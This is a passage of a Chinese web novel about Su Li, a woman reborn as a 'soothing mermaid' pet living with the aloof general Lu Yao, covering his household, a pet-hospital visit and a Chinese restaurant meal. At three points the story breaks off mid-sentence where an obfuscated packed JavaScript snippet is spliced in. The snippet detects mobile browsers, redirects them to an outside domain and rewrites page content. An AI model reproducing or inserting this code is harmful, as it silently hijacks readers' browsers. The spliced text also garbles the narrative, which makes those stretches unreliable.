人鱼的鱼尾比较脆弱,因此,苏莉出门一般需要人鱼车代步,不然她的鱼尾很容易磨破。 天气干燥的时候,饲养员还会给人鱼抹护尾霜,防止皮肤病。 听说在苏莉穿来之前,这条人鱼最喜欢的就是抹护尾霜,并且为了保证自己的尾巴漂漂亮亮,它也从来不会下地行走。 对比起之前这具身体主人珍惜鱼尾的行为,莉莉最喜欢的事情却是从水箱里爬出来到处乱走,也不管自己的尾巴会被弄得脏兮兮的甚至磨破。 谁能顶得住一天二十四小时待在水箱里啊。当然,躺在床上的话就另外算了。 水箱里面有一个大贝壳,上面铺着吸饱了水的海绵床垫和绸缎面的被褥,作为人鱼休息的存在。 干躺谁躺得住啊。 幸好艾米丽会分享她的智脑。 苏莉对艾米丽的智脑蠢蠢欲动,可实在可惜,她的智商是八岁。不过八岁的孩子,应该可以玩智脑了吧?她六岁的侄女都会刷某音了,还去参加了奥数班,获得了第一名呢。 那些奥数题她这个毕业大学生老鼠人都看不懂。 看出苏莉对智脑的渴望,艾米丽也是极度溺爱,她将自己旧的智脑拿了过来给她玩。 在艾米丽面前,苏莉自然是假装不会玩,等她一走,就开启疯狂玩智脑模式。 艾米丽一开始还会感兴趣的看看苏莉的浏览记录,后来发现都是一些奇奇怪怪的乱码之后也就不看了,不过那个旧的智脑就留给了她,反正艾米丽也用不上了。 艾米丽还贴心的给莉莉下载了益智小游戏。 什么抓大鹅,叠方块,消消乐,贪吃蛇之类的,不过莉莉没有敢通关太多,玩了几次之后就搁置了。 智脑自动联网,趁着没有人的时候,苏莉还尝试过躲进没有监控的卫生间跟别人玩双排游戏,因为手上有蹼的原因,所以第一次不太熟练被骂小学生。 千万不要随便辱骂你的队友,因为她虽然不是小学生,但可能不是人。 苏莉靠它度过了自己的孤独水箱时光。 不然一个人关在黑乎乎的水箱里,谁撑得住啊。 幸好,她是个老鼠人,有智脑就能活。 战后复兴,娱乐产业兴起。 苏莉甚至在奥古斯最大的社交媒体网站上注册了一个自己的账号。 注册账号只需要一个邮箱地址,而邮箱可以无条件免费注册,如此才掩盖住了她人鱼的身份。 在互联网这个巨大的虚拟世界,身份是自己给的。 上辈子的苏莉努力奋斗,一边打工一边考上大学,大学毕业之后发现根本就找不到工作,并且经济也无法支撑她再继续读书。 苏莉缩在出租屋里当老鼠人一天吃一顿,偶尔接一下板绘约稿,盯着天花板抱着捡来的流浪猫发呆的时候,有伯乐看上她了。 伯乐在招聘网站上看到她的信息,跟她聊天,热情邀请她加入他的工作室进行漫画连载。 刚进社会的清澈大学生苏莉激动不已,吃下伯乐给的大饼,签下牛马合同,熬夜干活。甚至为了赶进度,把猫寄养给了朋友,住进了简陋的工作室,真正做到了把自己当驴用。 工作终于完成,漫画由小说改编,收益颇丰,她却因为牛马合同,所以大头收益都上交公司,自己只有可怜的一点微薄工资,交完房租之后连买卫生巾的钱都没有。 苏莉也曾试图反抗,无良老板却有恃无恐的拿着合同让她去告。 苏莉:…… 无良老板无情压榨,终于把她这个老鼠人熬嘎了。 苏莉:……惨,怎一个惨字了得。 临死前,苏莉发誓下一辈子不当牛马,当个宠物也好。 一睁眼,她确实不是牛马,而是宠物,还是一条美丽小人鱼。 没有996,没有无良老板,只有衣来伸手,饭来张口,卖卖萌就能获得自己想要的东西。 人生,易如反掌。 苏莉在互联网上给自己的身份是板绘画手。 她发布的第一个作品就是自己现在的Q版自画像。 紫眸紫尾的小人鱼,对着水箱照镜子。 还是动画版的,能眨眼睛。 因为娱乐产业刚刚兴起,所以在运气和实力的加持下,苏莉依靠纯熟的技巧和灵动的画工,迅速在网络板绘领域占据一席之地。 她的粉丝涨得很快,很多粉丝来找她约稿。 可惜,她现在连银行账户都开不了,想画画收点钱都做不到。经济基础决定上层建筑,听说现在奥古斯帝国物价昂贵,一块小小的巧克力就需要一百星币。 你这不是星币,是沪币吧?按照人民币一比一兑换都能在华莱士办婚礼了! 她还是躺平当人鱼吧。 最重要的是,据苏莉所知,这个世界也没有能把人鱼变成人类的药物。 没有合法身份,没有正常的人类身体,也就意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324971|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味着没有办法活在阳光下,身体内还有人鱼专属的追踪芯片,类似于现代给宠物猫狗打在皮下的那种,她逃出去只会被逮回来解剖。 苏莉湿漉漉地躺在沙发上抬头看天花板。 现在她唯一的问题就是,找到一个有钱又有品德的好主人。 想念艾米丽的第一天。 顺便问候一下咱爸。 - 屋内的智能感应灯随着苏莉的大范围活动都亮了起来。 这是一套大概有几百平的屋子。 五六七八九个房间,三四五个卫生间,开放式厨房,智脑管家,服务型机器人,最上面还有一层阁楼。 苏莉抬头,正好跟飘在半空中的智能管家面对面。 那是一颗黑色的圆球,散发着一点微光,满满的科技感。 苏莉朝它伸手,圆球漂浮过来,停在她掌心。 这种东西机构内部也有差不多的。 每天飘在半空中,检查设备安全性,最常说的就是“警告,警告……”或者“安全,安全……”再有就是“开门,关门,开灯,关灯”等等最简单的现代ai小助手能做的事情,是个没有智慧的傻瓜智脑。 苏莉一抬手,傻瓜智脑飘走。 苏莉认为那个男人作为上将,这个屋子里应该拥有更多更智能的产品,不过显然,这位上将对这方面兴趣不大。 苏莉继续游荡,她推开一扇门,发现是男人的卧室。 只有一张床,其余什么都没有。 黑色的床单被套,看起来阴森森的。 苏莉扭头,继续打开另外一扇门。 这是衣帽间,一色系的黑白衣服,还有整齐的军装以及……枪械。 奥古斯帝国可以合法办理持枪证,像上将这种职位,多拥有一些武器也是很正常的。 苏莉游出衣帽间,来到男人的书房。 三面的大书柜,正中是一个大书桌,上面摆放着很多零散的文件。 苏莉趴在书桌上看了一眼,都是军事报告。 她也不是间谍,不感兴趣。 苏莉回到客厅,重新窝回沙发上。 软绵绵,湿漉漉的。 她打了一个哈欠,傻瓜智脑飘到她面前,一块透明的控制面板出现在苏莉眼前。 苏莉随手点了点,进入自己感兴趣的直播频道。 这个世界比起她生活的现代社会唯一的好处大概就是全息投影3d技术的普及。 那种社交网站上发布的男人跳舞视频都能全息投影到你面前,就好像他们真的在你眼前跳舞一样。 苏莉正看得津津有味,那边突然传来开门声。 “曜,你怎么能一个人把莉莉扔在家里?她刚从机构出来,一条鱼来到陌生环境该多害怕呀,你到家了吗?她在干嘛?” 男人身上穿着还未褪下来的黑色军装大衣,苏莉猜测应该已经换过了,毕竟她吐的挺全面。 他斜倚在门框上,视线从手腕智脑上的小小全息投影上移开,漫不经心地落到客厅里。 “它在看男人跳舞。” 芙蕾雅:??? 6. 第 6 章 莉莉是一条与众不同的精神抚慰人鱼。 机构负责人是这样跟陆曜描述的,他说,莉莉很通人性,机构里的人都很喜欢她,莉莉能敏锐的察觉到人类情绪的异常,并且进行安抚。 握手、唱歌、拥抱。 莉莉从不吝啬自己的爱。 其实对于苏莉来说,她做的这一切跟她是抚慰人鱼没有关系,她只是……将朝夕相处的人类当成了朋友。 现在,这条与众不同的人鱼正瘫在他的沙发上看男人跳舞。 那男人的腹肌都几乎要怼到她面前。 当然,陆曜并不认为一条人鱼有操控智脑的智商,这应该只是误触的巧合。 地面上到处都是湿漉漉的,还有被乱扔的零食袋子和食物残渣,皮质的黑色沙发被抓得乱七八糟,变成了纯手工流苏版本。 人鱼手里还抱着一大块巧克力。 “三号,静止在厨房以外的地方出现食物。禁止在水箱以外的地方出现人鱼。” 傻瓜智脑发出嗡嗡声,显然男人喊的三号是它。 没有智商的人鱼误触智脑打开了直播软件,还将家里弄得乱糟糟的。 陆曜本来就疼的头更疼了。 还有,芙蕾雅似乎忘了,这条人鱼才是被送来抚慰他精神的,她居然催着他回家来照顾这条人鱼的情绪。 “回去。” 男人站在她面前指向水箱。 听不懂,你怎么跟一条鱼说人话呢。 苏莉低头,继续啃巧克力。 家政机器人开始动作,利索的收拾屋子。 把苏莉的零食都放进了厨房,包括她手里的巧克力。 苏莉怒瞪机器人。 干什么!这是你家吗! “禁止在水箱以外的地方出现人鱼。” 三号围绕着苏莉团团转。 苏莉抬尾,直接把它拍了下来。 这是机构内最温和的人鱼,从来没有显露过任何攻击性行为。 机构负责人的话在此刻看来就像是谎话推销。 很明显,男人不喜欢她,她也不喜欢他。 虽然她不能单方面选择主人,但能有技巧的让主人拒绝她。 只要坚持一个月,她就能换下一个主人。 只要坚持一个月,他就能把它送回去。 一人一鱼对峙。 最后还是苏莉觉得自己太干了,慢吞吞爬回了水箱里。 高贵的上将大人站在沙发前,盯着水箱里的人鱼,面无表情按掉几乎要贴到自己身上的八块腹肌男直播3d影像。 家政机器人终于能清理被苏莉弄脏的沙发。 湿漉漉的沙发被烘干,陆曜走向书房,站在门口的时候看到正趴在水箱边缘往外面吐水的苏莉,抬眸看向三号。 “给水箱加个盖子。” 三号迅速搜索,随后用机械音道:“抱歉主人,这样属于虐待人鱼。” 为了保证机器人不主动伤害人类和动物,也为了防止某些人利用机器人做出违法行为,这些机器人都被植入了法律知识,其中还包括人鱼保护法。 苏莉扬着漂亮的鱼尾在水箱里翻滚一圈,然后“啪嗒”一下,甩出一个美丽的水花。 真是美好的一天。 - 因为白天睡了一天,所以苏莉晚上精神头很足。 传说人鱼有极其优美的嗓音,在午夜的海洋上,会发出塞壬一般妖媚的歌声,让船只迷失方向,成为海洋的祭品。 对于抚慰人鱼而言,这项技能变成了优点。 当然,一定不是在夜半三更的时候。 苏莉发出无意义的曲调,她在当人的时候就五音不全,现在当鱼了,凭借自身天赋完成完美逆袭,就算是随便哼出一段旋律,都能让人感觉心灵洗涤。 当然,现在是不可能的。 人鱼的嗓音固然可以发出美妙的声音,也能发出奇怪的嘶吼声。 就像她家猫一样,背对着人的时候声音嘶哑难听,可一旦看到你,又立马变身夹子讨好,有时候转换不过来,还会卡住,然后尴尬地舔一舔自己的毛。 卧室的门被打开,身穿黑色睡袍的男人就算是睡觉的时候都戴着黑色手套。 他的手指紧紧压着门沿,另外一只手用力按住高挺的鼻梁骨,显然是在压抑自己的情绪,说话的时候声音嘶哑,“闭嘴。” 我是莉莉,我不同意莉莉闭嘴。 陆曜面无表情地盯着水箱里那条不听话的紫色小人鱼,抬脚朝她走过来。 苏莉的眼尾一直瞥着他,看到他巨大的阴影朝自己笼罩下来,立刻噤了声。 陆曜脚步一顿,安静地看了它一会儿后,转身回到卧室。 下一刻,客厅内再次传来人鱼的声音。 陆曜:…… 陆曜阴沉着脸,再次起身来到客厅。 苏莉闭上嘴,眨巴着眼盯着他看。 来回三次,陆曜终于意识到,这条人鱼是有点心眼在身上的。 它似乎能看懂一点人的脸色。 当然,只是一点。 “三号。”男人沉声开口。 傻瓜智脑三号飞了过来。 “怎么才能让它闭嘴。” 三号立刻进行搜索,然后在三秒内得出结论,“抚慰人鱼非工作状态时可能会进入兴奋状态,为了人鱼的身心健康,请主人理解并且陪伴,可以与抚慰人鱼进行有爱互动,比如一起玩水上气球等娱乐活动,进行食物投喂……” 水上气球是不可能的。 陆曜打开冰箱,找到几盒生肉,扔进了水箱里。 苏莉迅速躲避。 哎,没砸到。 苏莉欢快的在水箱里游来游去,然后看一眼天色。 天亮了,她也该睡了。 苏莉飘到自己的贝壳床上,就着晨曦闭上双眼。 早安。 与此同时,陆曜的智脑发出“滴滴”的声音,那边家政机器人已经替他将今天要穿的军服熨烫完毕。 陆曜:…… - “曜,莉莉还好吗?”一进入军部,陆曜就被芙蕾雅缠上了,“我昨天问你要莉莉的视频你怎么没有发给我?你都不知道,我有多想看看你们家莉莉。” 陆曜站在门前进行瞳膜识别,“今天就送到你家。” 芙蕾雅摇头,满脸可惜,“我不能夺人所爱。”说完,她仔细查看陆曜的脸色,“我觉得你今天格外的有活力,看来莉莉真是一条优秀的抚慰人鱼。听说抚慰人鱼是可以出门的,你什么时候带莉莉来军部玩玩?” 一夜没睡,当然很有活力。 陆曜抬手按上面前的会议桌。 “如果你很闲的话,可以跟我去训练场练练。”陆曜眼尾下压,金色瞳孔天生冷感,看人时带上了极重的压迫感。 芙蕾雅虽然身手不错,但比起陆曜这种从小就接受非人训练的怪物来说,简直就是活靶子。 “啊,好忙啊好忙啊,身为皇女真是每天都有奇奇怪怪的事情要忙碌……” - 一觉睡醒,苏莉觉得自己的身体似乎有点不舒服。 她勉强在床上滚了一圈,然后看到水箱底部的生牛肉。 今天早上太困了,忘记自己被“投喂”生牛肉了,像她这样爱干净的小女鱼居然跟生牛肉睡了一天。 苏莉甩动了一下鱼尾,本想让家政机器人来收拾一下自己的水箱,没想到刚刚起身就感觉胃部一阵翻腾。 她猛地上浮,刚刚来到水箱边缘,就吐了一个昏天黑地。 今天军部的事情有点多,陆曜一直处理到晚上十点才开车回家。 他坐在驾驶位上,车子按照设定路线自动驾驶。 虽然因为一晚上没睡,所以精神有些疲惫,但陆曜并没有选择在车内进行休息。 他不习惯。 陆曜打开文件,继续工作。 半个小时后,他回到住处。 从远处看,屋子里的灯都灭着,那条人鱼可能还没醒。 陆曜站在门口,瞳膜扫描之后,大门打开。 屋子里漆黑一片,安静极了。 陆曜享受了一会难得的片刻平静,然后开口,“开灯。” 全屋灯光大亮,陆曜一抬头,就看到了半死不活挂在水箱边缘的莉莉。 听到动静,苏莉勉强抬头朝陆曜看过去。 因为这个简单的动作,所以她的胃部再次反流,又吐了一地。 勤恳的家政机器人上前打扫,清洁剂的味道掩盖住了这股异味。 陆曜皱眉,随手将文件扔在沙发上后朝苏莉快步走过去。 “三号,它怎么了?” 傻瓜智脑三号飞过来,围着苏莉上上下下浮动。 “喷射性呕吐,怀疑一颅内病变、二内耳疾病、三不良药物反应、四中毒……人鱼保护法规定,主人必须要对抚慰人鱼的健康负责,请主人尽快送医。” 在三号聒噪的催促下,陆曜单手将苏莉扛在肩膀上,深夜前往机构。 按照安全驾驶规定,自动驾驶必须遵守交通法规。 陆曜关闭自动驾驶,一路穿越几个红灯来到机构门口。 机构大门紧闭,里面漆黑一片。 陆曜皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324972|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给芙蕾雅打了智脑电话。 “喂,曜。”那边传来芙蕾雅迷迷糊糊的声音。 “人鱼病了,机构没有开门。” 芙蕾雅瞬间就醒了,“莉莉病了?不要紧吧?我马上联系机构。” 陆曜挂断智脑电话,戴着黑色皮质手套的手指烦躁地敲击方向盘,从车内后视镜中看到人鱼苍白的脸色,最后决定道:“去最近的二十四小时大型宠物医院。” 面板上立刻出现所有附近宠物医院的路线。 “已经为您寻找到最近的二十四小时大型宠物医院。” 车子调转,陆曜带着苏莉来到最近的二十四小时大型宠物医院。 因为是二十四小时制的,所以即使是深夜这里依旧有很多人。 “不要带周卫国去绝育,求求你了!” “二月红前来求药,二月红前来求药!” 陆曜拧眉,站在门口犹豫的时候,那边已经有前台过来迎接了。 这样一个近一米九的帅哥站在门口谁会注意不到啊!而且他还扛着一条鱼……等一下,一条鱼? “帅哥?Cosplay?”前台小心询问,垂涎地看着面前的军装大帅哥,并拿出智脑,“能集邮吗?你cos的是哪个角色啊?还有这位美女,能集邮吗?” 前台绕到陆曜身后去看苏莉。 苏莉努力睁眼,因为太过虚弱,所以看起来像是在翻白眼。 陆曜的眉头皱得更紧,“它是人鱼,有医生吗?” “人鱼?真人鱼!天,我还是第一次看到人鱼!医生,医生,急救!” 苏莉被放到转运床上,开始一系列检查。 抽血、心电图、询问病史。 最后得出结论,她大概率是肠胃炎。 苏莉挂着水躺在病床上,身边还有其它同病相怜的宠物猫狗。 “哎呀,妈妈的心肝啊,没有你妈妈怎么活啊!” “医生,医生你一定要救救它,求求你了医生,医生啊!” 苏莉甩了甩鱼尾,看到陆曜的智脑亮了。 “曜,机构的人到了,你在哪?” 陆曜随手发了一个宠物医院的地址。 “宠物医院?你带莉莉去宠物医院了?” “嗯,急性肠胃炎。” “肠胃炎?莉莉今天吃了什么东西吗?” 陆曜沉默了一会,然后用智脑连通三号,询问今天苏莉食用了什么东西。 三号,“人鱼二十四小时内没有进食任何食物。” 陆曜想了想,“最近一次进食。” 三号,“最近一次您给人鱼投喂了生牛肉。虽然人鱼并没有食用,但生牛肉在水中污染了水质,可能导致人鱼发生急性肠胃炎。” 陆曜:……一条鱼对生牛肉过敏? 男人伸手按住眉心。 “帅哥,第一次来宠物医院吧?要带熟悉的毛毯包裹一下你家宝宝,这样它才不会感到害怕。”旁边有阿姨跟陆曜搭话,说话的时候阿姨还在抱着自家蔫蔫的宠物猫哄着。 陆曜低头,看到人鱼躺在病床上,身体微微发抖。 不知道是害怕,还是因为生病所以产生的生理性反应。 陆曜沉默片刻,褪下身上的黑色军大衣,盖在了苏莉身上。 苏莉迷迷糊糊间感觉到身上压过来一股重量,带着淡淡的冷质金属气息。 - 芙蕾雅赶到宠物医院的时候苏莉的吊瓶还没有打完。 “莉莉怎么样了?” 陆曜正在用智脑处理工作,他坐在病床旁边,搭着腿,戴着黑色手套的手指在智脑上熟练的翻飞。听到芙蕾雅的问话,陆曜头也没抬,“没事,肠胃炎。” 芙蕾雅不放心,“等一下还是带莉莉去机构彻底检查一下吧。可怜的莉莉,怎么会肠胃炎的。” 坐在旁边的陆曜莫名感觉自己受到了谴责。 芙蕾雅突然发现什么,她朝陆曜靠近,“你的脖子怎么了?” 陆曜低头,只能看到自己的衣襟,这个角度他看不到自己的脖子。 芙蕾雅打开自己智脑的镜面模式。 陆曜终于看到自己脖子上蔓延的红色疹子。 男人肌肤冷白,那片红色如同盛开的艳梅,几乎要蔓延到他的下颚。 “好像是过敏。”芙蕾雅根据自己的经验推测,“你有没有碰过什么平时不碰的东西?” 陆曜想起什么,似乎是无声叹了一口气,“鱼。” “哦,海鱼吗?” “算是。” 芙蕾雅得出结论,“嗯,海鲜过敏。” 嗯? 7. 第 7 章 虽然之前在宠物医院治好了肠胃炎,但芙蕾雅还是不放心,又让陆曜带着她去了一趟机构进行彻底的检查。 苏莉见到了三天没见的艾米丽。 一日不见,如隔三秋,三天不见,咱爸还好吗? 看到苏莉,艾米丽也是十分激动,为了莉莉,即使艾米丽再害怕那位上将,也必须要找他谈谈了。 “上上上上……”艾米丽张嘴,紧张到结巴。 陆曜的视线落在智脑上,“有事?” “将将将将……” “上将,检查好了,没有问题,肠胃炎需要好好调理,希望您注意人鱼的健康安全。” 白大褂推着苏莉从监察室里出来。 苏莉刚才挂水睡了一觉,精神完全回来了。 陆曜颔首,单手接过人鱼车,就准备离开。 “请,请您好好对待莉莉,莉莉它跟别的人鱼不一样。” 陆曜转身,看到站在自己身后双眸微红的艾米丽。 “莉莉她,喜欢吃中餐。” - 菜园是赫伯里亚最著名的中餐厅。 因为中餐需要非常新鲜的食材才能制作出最美味的菜品,而新鲜的蔬菜水果很昂贵,所以中餐厅在赫伯里亚已经属于奢侈品了。 作为高端场所,菜园没有大厅,只有包厢。 苏莉坐在人鱼车内,被服务员推着进入包厢。 为了符合中餐特色,身材窈窕的服务员穿着贴身的旗袍裙,亲切地递上菜单。 “随便……”陆曜话刚刚出口就意识到什么,他顿了顿,改口道:“适合急性肠胃炎患者吃的东西。” “好的,这边给您推荐菠菜素面,南瓜小馒头,鸡蛋羹,山药粥,小米粥,清蒸鳕鱼……饭后水果是蒸熟的苹果和香蕉。” “不要海鲜。” “好的。”服务员微笑点头,视线忍不住朝趴在桌子上的苏莉看去。 人鱼稀少,身为服务员,她还是第一次看到活的人鱼。 “您和您的人鱼还有什么忌口的吗?” 吃了过敏药后脖子上的红斑褪去大半,陆曜抬手扣上衬衫扣子,想了想,“不吃生肉。”说完,他想到人鱼的肠胃炎,下意识皱了皱眉,从智脑中调取出艾米丽刚才给他发的一份莉莉饲养手册电子版。 十几页的饲养手册,简直比说明书都厚。 陆曜翻到标题为“食物”那一页,粗略浏览一遍,“不要榴莲和青豆,来一份饭后甜品……” “好的,请您稍等。” 服务员出去准备了。 吐了一夜早就饿得前胸贴后背的苏莉伸手拿起面前的筷子开始等饭。 陆曜关闭智脑里的“莉莉饲养手册”,一抬头就看到了拿着筷子乖乖等饭的小人鱼。 他的视线下移,落到人鱼的手指上。 纤细白皙的漂亮十指,跟人类的很相似,除了指甲尖锐长一些,还有指缝间张开时,能看到透明薄的鱼蹼,这双灵活的手看起来跟人类差距不大。 甚至,还会自己用筷子。 陆曜对食物没有任何欲望,他一般吃简单的罐头食品和白人餐,为了补充体力,会食用大量肉类,因此,他不会用筷子。 食物很快就被端了上来。 看着面前的菠菜素面,陆曜喊住服务员。 “来一份牛排。” “抱歉,先生,我们这里是中餐厅,只有中餐。” 用勺子吃面团是很困难的。 细长的面条上面铺着一层没有剪断的菠菜,勉强将菠菜捞起来后,连带着下面的面条也跟着挑上来,然后因为勺子太滑,所以面条又迅速回落掉回碗里,溅起里面的汤汁。 突然,一双干净的筷子伸到陆曜碗里。 夹起一筷子面,然后放下去,再夹起一筷子面,然后再放下去,似乎在炫耀自己即使手上长了鱼蹼也比他灵活。 哎,我夹起来,我又放下去,我又夹起来,我又放下去。 陆曜:…… “手不需要我可以替你砍掉。” 苏莉迅速缩回。 - 菠菜面烂了,挑开菠菜陆曜用勺子吃完了,后面几样菜比如鸡蛋羹之类的,不需要用筷子。 勉强吃完这顿饭,时间已经到早上十点。 虽然两夜没睡,但他的身体状态却依旧良好,毕竟是在战场上训练出来的身体素质。 陆曜起身,送吃饱喝足的人鱼回家。 家里的水箱已经打扫干净,芙蕾雅代替陆曜给他订下了每天三顿早中晚的中餐外卖,送到家门口的那种,刷陆曜的卡。 “莉莉宝贝在干什么呀?”芙蕾雅的脸贴在智脑上,企图看清楚陆曜身后的苏莉。 苏莉在打扫干净的水箱里游了一圈,漂亮的紫色鱼尾在阳光下显出七彩色泽,绚烂迷人。 在装美丽。 “我回军部了。”陆曜说完,关闭智脑,最后看一眼趴在水箱边缘装可爱的小人鱼,“三号,人鱼有异常联系我。” “好的,主人。” - 陆曜的身影消失在门口,苏莉立刻爬出水箱去找她的智脑。 网瘾犯了,快给她吸吸。 陆曜刚刚上车,就收到了来自三号的消息。 “主人,人鱼上了沙发。” 陆曜按掉。 陆曜开启自动驾驶。 “主人,人鱼打开了冰箱。” “主人,人鱼在沙发上磨爪。” “主人,人鱼在梳理自己的头发。” “主人,人鱼……” 陆曜面无表情关闭了跟三号的连接。 - 苏莉窝在沙发上,一边看直播,一边翻看自己的社交媒体账号,并顺便将三号拍死在沙发边上。 因为人鱼保护法,所以傻瓜三号和家政机器人都无法对苏莉做出任何伤害行为,而苏莉可以用鱼尾肆意捶打它们。 大概是因为鱼尾用的太多了,所以她有点掉鱼鳞。 紫色的鱼鳞带着漂亮的透明色,遍布在家里的每一个角落。 对此,苏莉倒也没有多在意。 毕竟小猫并不会因为自己的毛掉得到处都是,所以产生罪恶感,觉得麻烦的应该是那位上将大人。 来到军部的陆曜处理完了今天的事情之后,想到前天晚上人鱼在夜晚的闹腾事迹。 “你家养宠物了吗?” 正准备拿着文件离开的副官:??? 不苟言笑的上将大人不常微笑,除非他想讽刺你。 生活极其规律的上将大人也从来不会跟他谈论除了工作以外的事情,除非你的私事影响了工作。 副官立刻紧张起来,他用力咽了咽口水,努力回忆自己最近是不是有什么疏忽的地方。 副官小心询问,“您指的是?” “算了,你出去吧。”陆曜皱眉,他不习惯跟别人分享自己的私事。 副官点头,快步退出冰冷冷的办公室,觉得应该不是自己的问题,不然他现在就不可能好好的走出这间办公室,便在关上门之前小心探头,“现在是网络社会,上将您可以问问网友。”说完,副官赶紧开溜。 - 陆曜不太擅长使用网络软件,他让智脑给他下载了一个社交媒体账号,然后稍微研究了一下使用规则之后,发出了第一条某书。 “抚慰人鱼晚上不睡觉总唱歌。” 很快就有人评论。 “哟,真是恭喜你啊,居然能领养到抚慰人鱼。【嫉妒脸】” “交人鱼税了吗?” “给鱼找个班上。” “人鱼熬夜给你唱歌,鱼好人坏,跟鱼说谢谢了吗?” 陆曜:…… 当然,也有正经提出解决方法的。 “宠物也需要人陪伴,白天多消耗它的精力,晚上就不会闹了。” 陆曜单手叩着桌面,到底谁才是谁的抚慰人鱼? 陆曜往下翻。 “如果宠物不社恐,建议多带出去玩,一起参加平时自己的活动,还能建立感情。” - 陆曜下班回到家,昨天还因为肠胃炎所以进宠物医院的小人鱼窝在沙发上睡着了。 周围依旧是吃了一半的零食,还有吃剩下的盒饭。 家政机器人正在充电,显然是忙了半天没有停歇却依旧跟不上这条小人鱼的破坏节奏。 屋内灯光昏暗,它的鱼尾半落在地上,地毯上是湿漉漉的半干水渍。 屋子依旧是这间屋子,今天回来的陆曜却突然觉得没有那么安静了。 空气里带着淡淡的甜腻巧克力味道。 陆曜继续往前走,换上了绵软拖鞋的脚底踩到了异物。 他低头,看到一片紫色的鳞片。 陆曜沉默一瞬,找到医药箱,先在自己的脖子上贴了一个过敏贴,这才进入主卧浴室。 听说人鱼可以很多天不入水,陆曜也就没有管这条睡在沙发上的鱼。 最主要的是,他怕把它弄醒了,它再夜半唱歌。 过敏贴防水,陆曜洗完之后过敏贴起效,他走到床边,伸手拿开被子上的鳞片,皱着眉拉开被子,看到了藏在里面的两块生肉。 陆曜:…… 陆曜伸手按住额头,规律的生活完全被破坏殆尽,他甚至无法想象到这条人鱼会在他每天回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324973|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后给他创造什么惊喜。 有那么一瞬间,陆曜觉得这两块生肉是对他向它投喂生肉,导致它肠胃炎的报复。 可他又觉得一条人鱼根本就不具备这样的智商,应该只是巧合。 幸好屋子里有很多客房。 陆曜换了一间,刚刚躺下,外面传来人鱼熟悉的嚎叫声。 陆曜闭着眼睛安静听了一会儿,他表情冷静地掀开被子站起来,打开房门。 小人鱼的嚎叫声戛然而止。 它双手搭在沙发沿上,下巴抵在手背上,极度擅长的露出无辜的表情。 陆曜单手敲着门框,思索了一会之后走回去换了一套外出服,然后朝它走过来。 在沙发上窝了一天,小人鱼身上的衣服干燥服帖,就是头发稍微有些乱。 陆曜推来它的人鱼车,将苏莉放到人鱼车上。男人动作不算粗鲁,当然肯定算不上温柔。 昨天跟扛麻袋一样,今天跟拎开水壶一样。 苏莉被拎到人鱼车上,刚刚坐稳,就被推了出去。 哦,终于决定要把她送回人鱼机构了吗? 坐上电梯直达地下停车场,苏莉额头上被贴了一个什么东西之后,就被放到了后备厢。 苏莉:…… 后备厢很大,她被连人带人鱼车推进去。 苏莉伸手摸了摸自己的额头。 “那是晕车贴。”陆曜看到她的动作,下意识开口,说完之后才意识到自己居然还跟一条人鱼解释这种事。 苏莉把手放了下来,忍住了自己抠晕车贴的冲动。 晕车很难受,她还是不晕车的好。 陆曜关后车厢的动作一顿,视线从人鱼脸上扫过。 小人鱼无聊地玩手指,看起来确实是不去碰那个晕车贴了。 陆曜关上后备厢的门,坐上驾驶位。 车子里很安静,苏莉努力扭头看向那块透明面板。 透明面板上显示出此次出行的目的地,苏莉皱眉。 a? 这是什么地方? 不是回人鱼机构吗? 苏莉继续低头玩手指,她又想唱歌了。 话说回来你开车都不听歌的吗? 车子里安静极了,连气流的声音都没有。一般车内都会有香薰,陆曜的车子里是一股淡淡的冷松香,苏莉怀疑这是车子自带的。 大概半个小时的车程,没有歌,没有聊天,没有智脑,给苏莉无聊坏了,而那位坐在驾驶位上开了自动驾驶后开始用智脑工作,显然是天生的牛马体质。 苏莉打了一个哈欠,因为晕车贴,所以安安稳稳地睡着了,等她醒过来的时候,发现自己已经被陆曜从后备厢推出来了。 嗯?到哪了? 这里是一个地下停车场,陆曜单手推着它,另外一只戴着智脑的手抬起,正跟别人对话。 “要一个房间。” “又睡不着了?”那边传来一道年轻的男声。 “嗯。”陆曜没有过多解释,直接挂断了智脑。 苏莉被推上电梯,她抬头,看到陆曜冷白的脸映照在电梯上,他看着它,不知为何,竟轻轻勾了勾唇。 呵,唇角不语,只是一味的勾了勾。 电梯上升很快,苏莉再次被推出来的时候,电梯门打开,这是一个可以直接进入的房间,就类似于电梯入户。 迎面朝她展示的是一个靶子。 靶子? 在苏莉的注视下,陆曜打开玻璃门走进去,戴上降噪耳机,然后拿起面前台子上用铁链绑着的枪,“砰砰砰”连发十枪。 